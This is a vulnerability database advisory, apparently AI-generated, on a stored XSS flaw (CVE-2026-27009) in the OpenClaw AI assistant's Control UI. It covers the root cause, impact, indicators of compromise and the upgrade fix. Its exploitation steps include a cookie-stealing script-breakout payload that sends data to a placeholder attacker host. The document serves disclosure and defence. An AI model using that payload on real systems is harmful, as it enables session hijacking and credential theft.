Cloud Vulnerability DB
A community-led vulnerabilities database
Vulnerability DatabaseCVE-2026-27009
CVE-2026-27009:
Homebrew vulnerability analysis and mitigation
Overview
CVE-2026-27009 is a stored Cross-Site Scripting (XSS) vulnerability in OpenClaw, a personal AI assistant, affecting the Control UI when rendering assistant identity fields (name/avatar) into an inline <script> tag without script-context-safe escaping. All versions prior to 2026.2.15 of the openclaw npm package are affected. The vulnerability was reported by researcher Adam55A-code, disclosed via GitHub Advisory GHSA-37gc-85xm-2ww6 on February 18, 2026, and published to the NVD on February 20, 2026. It carries a CVSS v3.1 base score of 5.8 (Medium), reflecting a local-access/loopback-only deployment assumption (GitHub Advisory, OpenClaw Advisory).
Technical details
The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) lies in the gateway's Control UI HTML response, which previously injected assistantName and assistantAvatar values directly into an inline <script> block using JSON.stringify(). Because JSON.stringify() does not escape the </script> sequence, a crafted value containing </script> can terminate the script element prematurely and inject arbitrary HTML/JavaScript into the page. Exploitation requires an attacker to have high-privileged (operator/admin) access to set the assistant identity configuration, and a victim user must subsequently visit the Control UI — making the attack vector local with required user interaction. The vulnerable code pattern was: `window.__OPENCLAW_ASSISTANT_NAME__=${JSON.stringify(assistantName)};` embedded directly in the HTML <head> (GitHub Advisory, Fix Commit adc818d).
Impact
Successful exploitation allows an attacker with high privileges to inject malicious JavaScript that executes in the Control UI origin when any user visits the interface. This enables theft of authentication tokens and session cookies, session hijacking, and unauthorized privileged actions within the Control UI. Confidentiality and integrity are both rated High impact, while availability is unaffected; there is no scope change as the attack is confined to the Control UI origin (GitHub Advisory, OpenClaw Advisory).
Exploitability
A proof-of-concept reference is available via the GitHub security advisory, though no evidence of active in-the-wild exploitation has been reported. The EPSS score is approximately 0.017% (2nd percentile), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high-privileged access to set assistant identity values, significantly limiting the practical attack surface (GitHub Advisory, OpenClaw Advisory).
Exploitation steps
- Gain privileged access: Obtain operator or admin-level access to the OpenClaw instance (required precondition), either through legitimate credentials or a separate compromise.
- Set malicious assistant identity: Configure the assistant name or avatar field to a crafted payload that breaks out of the inline script context, for example:
</script><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. - Persist the payload: Save the configuration so the malicious value is stored and will be injected into the Control UI HTML on every subsequent page load.
- Wait for victim interaction: When any Control UI user (including other admins) loads the Control UI page, the gateway injects the stored value into the inline
<script>block viaJSON.stringify(), which fails to escape</script>, causing the browser to terminate the script tag and execute the attacker's JavaScript. - Harvest results: The injected script executes in the Control UI origin, enabling the attacker to exfiltrate session tokens, cookies, or perform privileged API actions on behalf of the victim (GitHub Advisory, Fix Commit adc818d).
Indicators of compromise
- Configuration: Assistant name or avatar fields in OpenClaw configuration containing
</script>sequences, HTML tags, or JavaScript event handlers (e.g.,</script><script>,onerror=,javascript:). - Network: Unexpected outbound HTTP requests from the browser session originating from the Control UI origin to external domains (potential token/cookie exfiltration endpoints).
- Logs: Gateway access logs showing the Control UI config endpoint (
/__openclaw/control-ui-config.json) being accessed alongside unusual configuration update requests with script-breaking payloads. - Browser: Browser developer console errors related to Content Security Policy violations (on patched versions) or unexpected script execution errors when loading the Control UI (GitHub Advisory).
Mitigation and workarounds
Upgrade the openclaw npm package to version 2026.2.15 or later, which removes inline script injection entirely and instead serves bootstrap configuration (including assistant identity) from a dedicated JSON endpoint (/__openclaw/control-ui-config.json). The patched version also enforces a restrictive Content Security Policy (script-src 'self', no inline scripts) for the Control UI, blocking inline script execution even if similar issues arise in the future. As an interim measure, restrict administrative access to OpenClaw configuration to trusted users only, and monitor Control UI activity for anomalous JavaScript execution. The fix is implemented across two commits: adc818d (gateway CSP and JSON endpoint) and 3b4096e (UI bootstrap config loading) (OpenClaw Release, GitHub Advisory).
Community reactions
The vulnerability was reported by community researcher Adam55A-code and acknowledged by the OpenClaw maintainer (steipete) in the official security advisory. The advisory notes that the Control UI is intended for local use only, and the CVSS score was calibrated to reflect a loopback-only deployment assumption. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (OpenClaw Advisory).
Additional resources
Source: This report was generated using AI
Related Homebrew vulnerabilities:
Free Vulnerability Assessment
Benchmark your Cloud Security Posture
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Additional Wiz resources
Get a personalized demo
Ready to see Wiz in action?
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management